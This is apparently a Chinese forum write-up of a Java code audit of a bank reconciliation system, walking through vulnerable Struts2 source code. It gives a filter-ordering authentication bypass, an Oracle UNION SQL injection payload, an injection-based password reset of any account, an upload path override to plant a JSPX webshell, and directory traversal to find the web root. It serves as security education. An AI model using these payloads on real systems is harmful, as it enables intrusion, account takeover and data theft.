0x01.前言
前段时间审计的项目~也是第一次审计java,跟表哥们分享一下。
一个电子对账系统,大部分是数据统计等功能,使用hibernate+Struts2+spring 框架,Oracle数据库,分前台后台两个项目,前台功能较单一就不说了,主要审计的后台。。
开发商说是个老项目了,2333,拿来练手还是不错的。
0x02.项目分析
先看src文件夹下,主要的逻辑处理代码,数据库操作代码等都存放在src下的包中,还有struts.xml struts的配置文件,以及一些初始化参数,比如init.properties中存放着数据库连接地址及账号密码。
common包下action存放 Action逻辑处理类,service包中存放service类,dao包中的类主要是对数据库的操作
filter包中主要存放的是 web.xml中配置的过滤类,所有请求都需要先经过filter中的过滤操作
pojo包中存放着实体类和hibernate的映射文件
util包中是一些常用工具类
来看下webroot文件夹下,web-inf中是常见的spring配置文件及web.xml等 其余的文件夹存放的都是页面jsp文件。
大致的执行流程就是,通过web.xml加载spring及struts2的配置文件等,然后执行的url先经过web.xml中配置的过滤类,如果请求的是action会通过struts2.xml中的配置 去找到src/com.aoyi.erp/common/action下的Action类中的函数并执行,action类中会调用service包下的service类再进行进一步处理,service类又会调用dao包中的数据库操作类进行操作,最后通过struts2.xml中的配置返回结果,当然其中会调用一些其余的工具类之类的。
url->filter->action->service->dao->.jsp页面或者数据等
这项目结构还是比较清晰明了的。。
0x03.越权
不管是前台还是后台,基本都是一个登录框,登录进去以后才有功能。
他本身是通过filter包中的类做过滤及权限判断的,可惜一个配置文件的疏忽,,,导致所有.action的请求都可未授权访问,,只要匹配action中需要的get或post参数就可以使用任意后台功能。。
我们先来看下其web.xml文件中设置的过滤器
<!-- Struts2.0清理过滤器 -->
<filter>
<filter-name>struts-cleanup</filter-name>
<filter-class>org.apache.struts2.dispatcher.ActionContextCleanUp</filter-class>
</filter>
<filter-mapping>
<filter-name>struts-cleanup</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
<!-- Struts2.0转发过滤器 -->
<filter>
<filter-name>Struts2</filter-name>
<filter-class>org.apache.struts2.dispatcher.FilterDispatcher</filter-class>
</filter>
<filter-mapping>
<filter-name>Struts2</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
<!-- 登陆与字符过滤器 -->
<filter>
<filter-name>ChartsetFilter</filter-name>
<filter-class>com.aoyi.erp.filter.ChartsetFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>ChartsetFilter</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
<filter>
<filter-name>loginfilter</filter-name>
<filter-class>com.aoyi.erp.filter.LoginFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>loginfilter</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
一个是默认的struts2的过滤器,还自定义了2个过滤器,chartsetFilter和loginfilter,我们先来看看这两个类
chartsetFilter只是设置了下编码,
public void doFilter(ServletRequest arg0, ServletResponse arg1,
FilterChain arg2) throws IOException, ServletException {
arg0.setCharacterEncoding("utf-8");
arg2.doFilter(arg0,arg1);
}
loginfilter中设置了登录权限验证
public void doFilter(ServletRequest arg0, ServletResponse arg1,
FilterChain chain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest)arg0;
HttpServletResponse res = (HttpServletResponse)arg1;
String uri = req.getRequestURI();
if (!uri.endsWith(".jsp") && !uri.endsWith(".action")&&!uri.endsWith(".html")) {
chain.doFilter(req, res);
return ;
}
if (uri.endsWith("imgYezhe.action")||uri.endsWith("relogin.jsp")||uri.endsWith("image.jsp")||uri.endsWith("login.jsp")||uri.endsWith("loginAction.action")) {
chain.doFilter(req, res);
return ;
}
Bankuser admin=(Bankuser)req.getSession().getAttribute("username");
uri = uri + (req.getQueryString()!=null?("?" + req.getQueryString()): "");
if(admin!=null){
chain.doFilter(req, res);
}else{
res.sendRedirect(req.getContextPath()+"/login.jsp");
}
}
先进行判断,如果请求的url中后缀不是 .jsp .action .html 的,放行。。
如果后缀为relogin.jsp,image.jsp之类的,放行。。
其余的则需要经过判断,如果session为空,未登录状态,则默认全部跳到login.jsp。。
想法是美好的,也确实对.jsp .action做了判断,但是,,配置文件的伤,
web.xml中 自定义的过滤器配置写到了struts2过滤器配置的后面,,这就出现了一个问题,所有.action的请求都会先走 struts2的默认过滤器,而不会去走自定义的过滤器了。。这就造成了所有action请求都可以正常访问,而后台的逻辑处理基本都在action中,可以通过action请求直接使用后台功能。
解决办法,,只需将自定义的过滤器配置写到 struts2默认的过滤器配置之前就可以了。。。
我们来选个功能测试下,,防止报错,需要传入action所需的get或post参数即可,因为struts2 Action接收参数的方式,get参数名写成bankuser.busername
url:http://localhost:8080/accountbank/testJdbc/selectAdmin.action?bankuser.busername=asd
可以使用该功能查出所有账户信息,,
通过越权,我们可以无需登录,去执行存在漏洞的action了。这里也有个getshell的问题,.jsp的请求再未登录的情况下都会跳转到login.jsp,getshell的话我们传jspx后缀的即可。。
0x04.注入
该项目大部分SQL语句都是直接拼接,但是有些地方因为代码问题及oracle数据库的特性,还有的地方使用了HQL语句,大部分注入都跑不出数据或者只能延时跑,这里我就复现一处可union的注入。
在src/com.aoyi.erp/common/action/admin/ClientAction.java文件selectList函数中
/**
* 客户密码重置模块的查询action
*/
public String selectList(){
log.info("客户密码重置模块的查询-----action");
String clicode = getRequest().getParameter("clicode");
String cliname = getRequest().getParameter("cliname");
List list = clientService.selectList(clicode, cliname);
Map map =null;
if(list.size()>0){
map =(Map)list.get(0);
}
getRequest().setAttribute("returnlist", list);
getRequest().setAttribute("clicode", clicode);
getRequest().setAttribute("cliname", map.get("cliname"));
return SUCCESS;
}
调用clientService.selectList函数进行处理,跟进一下
该函数在accountbank/src/ com.aoyi.erp/common/ service/admin/ClientService.java文件中
public List selectList(String clicode,String cliname){
String sql =
" select t.cliname cliname,t.clicode clicode, t.cusername cname1,t.cusername2 cname2, t.linkmanonephone phone1,t.linkmanonemobile mobile1, " +
" t.linkmantwophone phone2, t.linkmantwomobile mobile2,t.linkmanone lname1,t.linkmantwo lname2 " +
" from clientcontact t ";
List list = new ArrayList();
if(clicode!=""&&clicode.length()>0&&cliname==""&&cliname.length()<=0){
sql+=" where t.clicode = '"+clicode+"' ";
}
if(cliname!=""&&cliname.length()>0&&clicode==""&&clicode.length()<=0){
sql+=" where t.cliname = '"+cliname+"' ";
}
if(cliname!=""&&cliname.length()>0&&clicode!=""&&clicode.length()>0){
sql+=" where t.cliname = '"+cliname+"' and t.clicode = '"+clicode+"' ";
}
try {
System.out.println(sql);
list = sqlDAO.findListBySQL(sql);
} catch (SQLException e) {
// TODO Auto-generated catch block
log.info("sql出错"+e);
e.printStackTrace();
} catch (Exception e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
return list;
}
直接拼接,最后调用dao包的sqlDAO.findListBySQL函数进行数据库操作。。通过struts2.xml找到其对应的action名为selectList
url:http://localhost:8080/accountbank/client/selectList.action
post:clicode=123' union select NULL,NULL,NULL,NULL,(select banner from sys.v_$version where rownum=1),NULL,NULL,NULL,NULL,NULL from dual-- -&cliname=
还可以利用注入更改任意账户密码,,23333
在src/com.aoyi.erp/common/action/admin/AdminAction.java文件updateAdminpass函数中
public String updateAdminpass(){
try{
boolean b=adminService.updateAdminpassword(bankuser);
if(b){
this.getRequest().setAttribute("updatepass","<font color='blue' size='2' >"+bankuser.getBusername()+"管理员修改密码成功,下次登陆请使用新密码。</font>");
}else{
this.getRequest().setAttribute("updatepass","<font color='red' size='2' >对不起,"+bankuser.getBusername()+"管理员修改密码失败,请重新修改密码。</font>");
}
}catch(Exception e){log.error("修改密码失败--->"+e);}
return this.SUCCESS;
}
调用adminService.updateAdminpassword函数,跟进一下
/*
* 修改网点管理员密码
* */
public boolean updateAdminpassword(Bankuser bankuser)throws Exception
{
boolean b=false;
String hql="update bankuser b set b.bpassword='"+PasswordEncrypt.encryptPassword(bankuser.getBpassword().trim())+"' where b.busername='"+bankuser.getBusername().trim()+"' and b.bpassword='"+PasswordEncrypt.encryptPassword(bankuser.getBankcode().trim())+"'";
int q=sqlDAO.executeSQL(hql);
log.info(q+"修改对账管理员:"+bankuser.getBusername().trim()+"的密码成功");
if(q>0){ b=true;
}else{
log.error("修改对账管理员:"+bankuser.getBusername().trim()+"的密码失败");
}
return b;
}
匹配bpassword新密码,bankcode旧密码,busername用户名,
用户名需要知道,可以通过上文的功能查到所有用户名,,
找到其对应的action名
0x05.有限制文件上传及文件遍历
对文件名后缀只是js验证,但是因为上传路径有默认值,不在web根路径下,所以我们需要知道绝对路径才可上传,或者可以使用相对路径,但是文件处理的操作在java类中,执行时相对路径也不在web根路径下,
在src/com.aoyi.erp/common/action/dataimport/DataImportAction文件dayUpload函数中,功能url:http://localhost:8080/accountbank/dataimport/importData.jsp
private String savePath=InitConfigListener.rootpath;//下载要保存的路径
//日上传文件使用
private File[] dayUpload;
private String[] dayUploadContentType;
private String[] dayUploadFileName;
public String dayUpload() {
String upload="";
File file = new File(savePath);
savePath = file.getParent();
File file2 = new File(savePath);
savePath = file2.getParent()+File.separator;
try{
String month = this.getRequest().getParameter("month");
//dataImportService.deleteImportData("dpfm31.txt", month);
String clientPath = this.getRequest().getParameter("clientPath");
byte db[];
db = clientPath.getBytes("iso-8859-1");
clientPath = new String(db,"UTF-8");
log.info(clientPath);
upload=dataImportService.dayUpload(dayUpload, dayUploadFileName, savePath,clientPath,month);
this.getRequest().setAttribute("dayMeg", "<font color='blue' >"+upload+"导入成功</font>");
}catch(Exception e){
this.getRequest().setAttribute("dayMeg", "<font color='red' >"+upload+"导入失败</font>");
e.printStackTrace();
}
return SUCCESS;
}
这里可以同时上传3个文件,所以 dayUpload和dayUploadFileName都为数组,dayUploadFileName就是最终的上传文件名。
还有个重要的参数就是 上传路径savePath,已经有了默认值,并且也没有获取get或post等参数,而且默认值不在web根目录下,因为savePath声明了get/set方法,所以我们可以利用struts2 Action接收参数的特性,构造一个get或者post参数,名为savePath,这样我们传入的值就可以覆盖savePath的默认值了。
然后对savePath进行了两次操作,获取2次其父路径,比如F:/test/test2/test3/ 经过两次getParent后 变为F:/test/,然后传入dataImportService.dayUpload函数进行上传操作,
在src/com.aoyi.erp/common/service/dataimport/DataImportService文件中
public String dayUpload(File[] files,String[] getUploadFileName,String savePath,String clientPath,String month) throws Exception{
String result="";
savePath = getPath(savePath);//得到根据日期的路径
upload.multiUpload(files, getUploadFileName, savePath);//上传文件
for (int i = 0; i < getUploadFileName.length; i++) {
if(!"accbook3.txt".equalsIgnoreCase(getUploadFileName[i].toString())){
//清除数据
System.out.println(getUploadFileName[i]);
System.out.println(month);
cleanImportData(getUploadFileName[i], month);
commonImport(getUploadFileName[i],savePath);
}else if("accbook3.txt".equalsIgnoreCase(getUploadFileName[i].toString())){
result+=insertIntoAccbook1(savePath);
}
result+=saveUploadLog(clientPath,savePath,getUploadFileName[i]);
//记录日志
if(getUploadFileName[i].toString().equals("dpfm31.txt")){
}
}
return result;
}
其中又对savePath进行了操作,取得了最终的上传路径,跟进一下getPath函数
public String getPath(String savePath) throws IOException{
Date date = new Date();
String tempDate = new java.text.SimpleDateFormat("yyyy-MM-dd").format(date);
savePath =savePath+tempDate.substring(0,4)+File.separator+tempDate.substring(5,7)+File.separator+tempDate+File.separator;
FileUtils.forceMkdir(new File(savePath));
log.info("要上传到的文件夹是:"+savePath);
return savePath;
}
根据日期生成路径,不存在的日期文件夹则进行创建,最终的文件路径为 savePath+2017/12/2017-12-29/ 也就是当前日期,
最后通过multiUpload函数进行文件批量上传操作。
通过struts2.xml找到其对应的action名为dayUpload
.
可以直接将他的上传页面复制下来多加一个savePath的表单进行上传。也可以直接把savePath通过get方式传递。
或者
这里savePath的值改成F:\Apache Software Foundation\Tomcat 7.0\webapps\accountbank\asd\as\ 这样的,经过两次getParent后则为正确路径了。
这里的jspx马我是用的cknife中的。
这时候要getshell还有个问题,就是要找到其绝对路径。找到一处可以遍历文件的地方,可以通过文件遍历找到项目绝对路径。
在src/com.aoyi.erp/common/action/dataimport/DataImportAction文件dataBackopendir函数中,
public String dataBackopendir(){
try{
String filepath=getRequest().getParameter("filepath").trim();
log.info("***************"+filepath+"****************");
List list=dataImportService.getFile(filepath);
StringBuffer xml=new StringBuffer();
DateFormat form=new SimpleDateFormat("yyyy-MM-dd");
if(list!=null&&list.size()>0){
for(int i=0;i<list.size();i++){
File objfile = (File)list.get(i);
xml.append(objfile.getName()+"|"+form.format(new Date(objfile.lastModified()))+"||");
}}
PrintWriter out=getResponse().getWriter();
System.out.println("文件夹"+xml.toString());
out.println(xml.toString());
out.flush();
}catch(Exception e){log.info("打开文件夹出错"+e);e.printStackTrace();}
return null;
}
获取filepath参数,根据filepath的值调用dataImportService.getFile函数获取List集合,然后遍历List,按 文件名|最后修改时间|| 添加到StringBuffer中,最后通过out输出。
跟进一下getFile函数
public List getFile(String filedir){
String filePath=ftpPath+filedir;
log.info("文件路径---****---"+filePath);
File file = new File(filePath);
if(!file.exists()) file.mkdirs();
File[] listFile = file.listFiles();
List list = new ArrayList();
for(int i=0;i<listFile.length;i++){
System.out.println(listFile[i]);
File tempFile = listFile[i];
list.add(tempFile);
}
return list;
}
该函数根据文件路径,获取当前文件夹下的所有文件及文件夹,最后循环遍历,添加进List集合中。
文件夹路径是由ftpPath+filedir组合的,filedir使我们可控的,ftpPath则获取的是WEB-INF下的sys-config.xml中的savePath的值,默认为/data,组合一下就是/data+filedir
通过struts2.xml配置文件找到其对应的action名,为dataBackopendir
可以看到默认路径其实是linux的,如果是linux服务器搭建可以直接遍历,但如果是windows搭建也是可以的。
windows下,测试了一下发现 /data/../ 也可以遍历路径,默认遍历的是 tomcat所在盘符下的根路径,不影响我们找到网站的绝对路径。
手找太慢的话当然我们可以写个脚本去跑一下,最后找到项目绝对路径就可以结合上传getshell了~~~
0x06.后记
感觉java的审计首先项目所用的框架我们必须要了解,最好还是有可以部署的源码,因为有些项目设计比较繁琐,如果能通过断点追踪程序运行更有利于我们去理解整个项目,如果做过java方面的开发就更好了,
---------华丽的分割线--------
审什么计啊?有这时间找个对象不好吗???,我现在已经是条废鱼了,话说新论坛的界面很好看鸭。